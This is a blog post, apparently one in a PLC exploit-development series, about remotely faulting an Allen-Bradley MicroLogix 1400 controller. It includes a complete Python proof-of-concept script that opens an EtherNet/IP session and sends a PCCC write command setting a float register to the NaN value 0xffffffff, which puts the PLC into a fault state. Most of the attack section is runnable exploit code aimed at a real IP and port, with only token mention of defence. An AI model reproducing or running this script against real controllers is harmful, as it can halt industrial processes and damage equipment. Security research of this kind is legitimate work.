In Exploit Development # 13 : Trigger Invalid Float Faults , we’re tackling a significant vulnerability in the Allen Bradley Micrologix 1400 PLC. This time, our focus is on the ability to remotely trigger fault state.
In PLC configuration, even minor errors can cause major problems. One such issue is the vulnerability associated with setting invalid float values in Allen-Bradley PLCs. Specifically, using the value 0xffffffff
—which represents NaN
(Not a Number)—can trigger faults within the PLC.
In this post, we’ll examine how these invalid values can disrupt PLC operations and explore ways to safeguard your systems against such vulnerabilities.
What is Floating Point (FP) Data File ?
Floating point files contain IEEE-754 floating point data elements. One floating point element is shown in Table 70. You can have up to 256 of these elements in each floating point file. refer here for more details
Objective
we’ve got key objectives:
- Identify the function and command codes, file numbers, and file types..
- Create a malicious payload
- Write all the bit of float register to 1
In this post, we will go though remotely trigger fault state in PLC.
- Vulnerability Analysis: Overview of PLC systems & vulnerability related to Unauthorized Access.
- Exploit Development: Developing a Python script to exploit this vulnerability
- Real-World Application: Showcasing the exploit on actual PLC hardware
- Hack-the-Box PoC: Wrapping up with a Hack-the-Box style proof of concept.
In our PLC setup, we’re dealing with MicroLogix 1400 PLC. For context, you can check other related to fault triggering in Exploit Development # 6 and Exploit Development # 12
By the end of this post, you’ll have a solid understanding of how to develop, test, and analyze a PLC exploit, enriched with practical insights and hands-on experience
MicroLogix 1400 PLC: Device under test (DUT)
The MicroLogix 1400 PLC by Rockwell Automation’s Allen-Bradley is vital in many industries. Disruptions to its operation or configuration can lead to severe consequences, including halting critical processes and causing significant equipment damage.
Identified Vulnerability: Improper DATA handling
this describes a vulnerability in certain Allen-Bradley PLCs related to handling invalid float values. Here’s a breakdown of the issue:
Vulnerability Overview
Affected Devices: Allen-Bradley PLCs
Required Key-switch State: REMOTE, PROG, or RUN
Fault Trigger: Invalid float value0xffffffff
Description
- Invalid Float Value: In the context of PLCs,
0xffffffff
is considered an invalid value for the float data type. It represents a “Not a Number” (NaN) condition in floating-point operations.- Fault Triggering: Setting a float element to this invalid value will cause the PLC to trigger a fault when this value is used in operations. This fault disrupts normal operation and can lead to system instability or failure.
- Tool Restriction: This issue cannot be resolve through the standard programming tool RSLogix, which means that the invalid value must be set through other means, such as direct file manipulation or specialized tools
All they need to do is send the right packet. And just to show you how it works,
CMD:
0x0F
– PCCC command codeFNC:
0xA
A – write operationBYTE_SIZE: it decide how many byte data to be read/write
FILE TYPE & File Number:
This will decide that which register is going to be selected. please refer: phase 4 : DPI
File type File number File name 0x8A 0x08 Data File – FLOAT ELEMENT_NO
0x00
we are selecting float data file registerSUB_ELEMENT_NO::
0x00
we are selecting base register based on file number & file type.for more info – refer to user manual
Confused? 🤔 Check Out These Phases for a Step-by-Step Guide!
Feeling a bit lost in the technical jungle? 🏞️ Don’t worry! If you find yourself tangled in the weeds of this phase, just take a detour and revisit our previous adventures:
- Phase 1: Basic Network Discovery – – – – – – – – – –> [Explore Phase 1 ]
- Phase 2: MITM Attack and Protocol Packet captuing – – – –> [Explore Phase 2 ]
- Phase 3: Packet Communication Protocol Analysis – – – – – – – – –> [Explore Phase 3 ]
- Phase 4: Deep Packet Inspection (DPI) – – – – – – – – – – – – –> [Explore Phase 4 ]
- Phase 5: Exploit Development – – – – – – – – – – – – – – – – – – – – – – – –> [Explore Phase 5 ]
Exploit Development: Trigger Invalid Float Faults
Here’s a closer look at the Python script that powers our exploit. We’ll walk through its key components, so you know exactly what’s happening under the hood.
1. Create a Register session packet : Register_Session()
Purpose: Registers a session with the PLC, much like signing up for a new club. This function sends a registration command and retrieves a session handle.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
# Registers a session with the PLC by sending a registration command and retrieving the session handle. def Register_Session(): #Encapsulation Header Register_Session = "\x65\x00" Length = "\x04\x00" Session_Handle = "\x00\x00\x00\x00" Status = "\x00\x00\x00\x00" Sender_Context = "\x00\x00\x00\x00\x00\x00\x00\x00" Options = "\x00\x00\x00\x00" #Command Specific Data Protocol_Version = "\x01\x00" Option_Flags = "\x00\x00" register_session_data = "%s%s%s%s%s%s%s%s" % (Register_Session, Length, Session_Handle, Status, Sender_Context, Options, Protocol_Version, Option_Flags) # Create a Register session print "\nSending Register Session Request (Hex):" , binascii.hexlify(register_session_data).decode('utf-8') sock.send(register_session_data) reg_session_response = binascii.hexlify(sock.recv(28)) return binascii.unhexlify(reg_session_response[8:16]) |
Reference: Dive into [Explore Phase 4 🔍] for a detailed walkthrough of session registration and its importance in setting up your attack vector.
2. Build an ENIP packet : Build_Ethernet_instruction()
Purpose: Crafts the Ethernet instruction payload for the PLC. Think of this as assembling the perfect care package for your PLC—everything it needs in one neat little box.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
# Builds an Ethernet instruction payload to be sent to the PLC. def Build_Ethernet_instruction(instruction_elements, session_handle): #Encapsulation Header Command_code = "\x6f\x00" #Length = here we call it Data_Length and it is calculate below Session_Handle = "\x00\x00\x00\x00" Status = "\x00\x00\x00\x00" Sender_Context = "\x00\x00\x00\x00\x00\x00\x00\x00" Options = "\x00\x00\x00\x00" #Command Specific Data Interface_Handle = "\x00\x00\x00\x00" Timeout = "\x00\x00" Item_Count = "\x02\x00" Type_ID_Address = "\x00\x00" Type_Length_Address = "\x00\x00" Type_ID_Data = "\xb2\x00" # Length = here we call it Type_ID_Data_Length and it is calculate below #Common Industrial Protocol Service = "\x4b" Request_Path_Size = "\x02" Request_Path = "\x20\x67\x24\x01" Requestor_ID = "\x07" CIP_Vendor_ID = "\x4d\x00" CIP_Serial_Number = "\x4b\x61\x65\x21" #PCCC Command Data PCCC_Command_code = instruction_elements['cmd'] PCCC_Status = "\x00" PCCC_Transaction = get_tns() PCCC_Function_Code = instruction_elements['fnc'] PCCC_Data = instruction_elements['data'] #Building PCCC packets PCCC_Command = "%s%s%s%s%s" % (PCCC_Command_code, PCCC_Status, PCCC_Transaction, PCCC_Function_Code, PCCC_Data) # Calculating combined length of multiple variables of Common Industrial Protocol (CIP) Type_ID_Data_Length = len(Service) + len(Request_Path_Size) + len(Request_Path) + len(Requestor_ID) + len(CIP_Vendor_ID) + len(CIP_Serial_Number) + len(PCCC_Command) #Calculating Encapsulation Header length # Convert the combined length plus 16(0x10) to a hexadecimal string, unhexlify it, and append a null byte Data_Length = "%s\x00" % binascii.unhexlify(hex(Type_ID_Data_Length + 16)[2:]) # Convert the combined length to a hexadecimal string, unhexlify it, and append a null byte Type_ID_Data_Length = "%s\x00" % binascii.unhexlify(hex(Type_ID_Data_Length)[2:]) ######### Creating the payload payload = "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" % (Command_code, Data_Length, Session_Handle, Status, Sender_Context, Options, Interface_Handle, Timeout, Item_Count, Type_ID_Address, Type_Length_Address, Type_ID_Data, Type_ID_Data_Length, Service, Request_Path_Size, Request_Path, Requestor_ID, CIP_Vendor_ID, CIP_Serial_Number, PCCC_Command) return payload |
Reference: For a full breakdown of how to assemble these payloads, check out [Explore Phase 4 🔍]. It’s where we dissect and understand the intricacies of packet construction.
3. Create a Function to send Packets: send_instruction()
Purpose: Sends an instruction to the PLC and waits for a response. This is your direct line to the PLC, like making a call and eagerly waiting for the answer.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
# Sends a specific instruction to the PLC and returns the response. def send_instruction(instruction_elements,session_handle): return_response = "" instruction = Build_Ethernet_instruction(instruction_elements, session_handle) sock.send(instruction) return_response = sock.recv(1024) print ('\n\n' + '-' * 100) + ("\n\nComplete CIP/PCCC packet : " + binascii.hexlify(instruction).decode('utf-8')) + ('\n\n' + '-' * 150) #time.sleep(3) return return_response |
4. main function routine : overview
- Header Information:
- The initial bytes
\x04\x08\x8a\x00\x00
are likely related to identifying the target element or data structure in the PLC where the float value will be set.
- The initial bytes
- Float Value:
- The bytes
\xff\xff\xff\xff
represent theNaN
(Not a Number) value in IEEE 754 floating-point format. In this format,0xffffffff
is interpreted as NaN for float types.
- The bytes
1 2 3 4 5 6 |
float_nan_value = {"cmd":"\x0f","fnc":"\xaa","data":"\x04\x08\x8a\x00\x00\xff\xff\xff\xff"} send_instruction(float_nan_value,session_handle) |
Python POC for Malicious Payloads: Trigger Invalid Float Faults
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 |
import socket import binascii import random import time import crcmod.predefined # Pads the hexadecimal string with leading zeros to ensure it matches the desired size. def pad_hex(hex_str, size): # Remove "0x" if present if "0x" in hex_str: hex_str = hex_str.replace("0x", "") # Ensure hex_str has even length if len(hex_str) % 2 != 0: hex_str = "0" + hex_str # Pad with zeros if necessary hex_str = hex_str.zfill(size) return hex_str # Generates a transaction number by converting a random integer to a 4-byte hexadecimal string. def get_tns(): return binascii.unhexlify(pad_hex(hex(random.randint(0, 65535))[2:], 4)) # Registers a session with the PLC by sending a registration command and retrieving the session handle. def Register_Session(): #Encapsulation Header Register_Session = "\x65\x00" Length = "\x04\x00" Session_Handle = "\x00\x00\x00\x00" Status = "\x00\x00\x00\x00" Sender_Context = "\x00\x00\x00\x00\x00\x00\x00\x00" Options = "\x00\x00\x00\x00" #Command Specific Data Protocol_Version = "\x01\x00" Option_Flags = "\x00\x00" register_session_data = "%s%s%s%s%s%s%s%s" % (Register_Session, Length, Session_Handle, Status, Sender_Context, Options, Protocol_Version, Option_Flags) # Create a Register session print "\nSending Register Session Request (Hex):" , binascii.hexlify(register_session_data).decode('utf-8') sock.send(register_session_data) reg_session_response = binascii.hexlify(sock.recv(28)) return binascii.unhexlify(reg_session_response[8:16]) # Builds an Ethernet instruction payload to be sent to the PLC. def Build_Ethernet_instruction(instruction_elements, session_handle): #Encapsulation Header Command_code = "\x6f\x00" #Length = here we call it Data_Length and it is calculate below Session_Handle = "\x00\x00\x00\x00" Status = "\x00\x00\x00\x00" Sender_Context = "\x00\x00\x00\x00\x00\x00\x00\x00" Options = "\x00\x00\x00\x00" #Command Specific Data Interface_Handle = "\x00\x00\x00\x00" Timeout = "\x00\x00" Item_Count = "\x02\x00" Type_ID_Address = "\x00\x00" Type_Length_Address = "\x00\x00" Type_ID_Data = "\xb2\x00" # Length = here we call it Type_ID_Data_Length and it is calculate below #Common Industrial Protocol Service = "\x4b" Request_Path_Size = "\x02" Request_Path = "\x20\x67\x24\x01" Requestor_ID = "\x07" CIP_Vendor_ID = "\x4d\x00" CIP_Serial_Number = "\x4b\x61\x65\x21" #PCCC Command Data PCCC_Command_code = instruction_elements['cmd'] PCCC_Status = "\x00" PCCC_Transaction = get_tns() PCCC_Function_Code = instruction_elements['fnc'] PCCC_Data = instruction_elements['data'] #Building PCCC packets PCCC_Command = "%s%s%s%s%s" % (PCCC_Command_code, PCCC_Status, PCCC_Transaction, PCCC_Function_Code, PCCC_Data) # Calculating combined length of multiple variables of Common Industrial Protocol (CIP) Type_ID_Data_Length = len(Service) + len(Request_Path_Size) + len(Request_Path) + len(Requestor_ID) + len(CIP_Vendor_ID) + len(CIP_Serial_Number) + len(PCCC_Command) #Calculating Encapsulation Header length # Convert the combined length plus 16(0x10) to a hexadecimal string, unhexlify it, and append a null byte Data_Length = "%s\x00" % binascii.unhexlify(hex(Type_ID_Data_Length + 16)[2:]) # Convert the combined length to a hexadecimal string, unhexlify it, and append a null byte Type_ID_Data_Length = "%s\x00" % binascii.unhexlify(hex(Type_ID_Data_Length)[2:]) ######### Creating the payload payload = "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" % (Command_code, Data_Length, Session_Handle, Status, Sender_Context, Options, Interface_Handle, Timeout, Item_Count, Type_ID_Address, Type_Length_Address, Type_ID_Data, Type_ID_Data_Length, Service, Request_Path_Size, Request_Path, Requestor_ID, CIP_Vendor_ID, CIP_Serial_Number, PCCC_Command) return payload # Sends a specific instruction to the PLC and returns the response. def send_instruction(instruction_elements,session_handle): return_response = "" instruction = Build_Ethernet_instruction(instruction_elements, session_handle) sock.send(instruction) return_response = sock.recv(1024) print ('\n\n' + '-' * 100) + ("\n\nComplete CIP/PCCC packet : " + binascii.hexlify(instruction).decode('utf-8')) + ('\n\n' + '-' * 150) #time.sleep(3) return return_response dst = '192.168.0.102' port = 44818 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((dst, port)) session_handle = Register_Session() # send NaN value to float register float_nan = {"cmd":"\x0f","fnc":"\xaa","data":"\x04\x08\x8a\x00\x00\xff\xff\xff\xff"} send_instruction(float_nan,session_handle) |
POC Demo: Hacking PLCs with Python
Ever wondered what happens when you combine Python with a PLC ? It’s not a new programming language but a gateway to some serious digital shenanigans!
As shown in the video, we’re able to trigger a fault state by setting NaN to float register which make the PLC go to fault state.
Conclusion
In this , we examined the Trigger Invalid Float Faults in the Allen-Bradley MicroLogix 1400 PLC. We covered how to trigger fault state By directly modifying configuration files and setting invalid values .
Thank you for reading. Stay tuned for more insights and practical applications in PLC security.
<—Prev
Exploit # 12: User Fault Routine
Next —->
Exploit # 14 : STI fault in PLC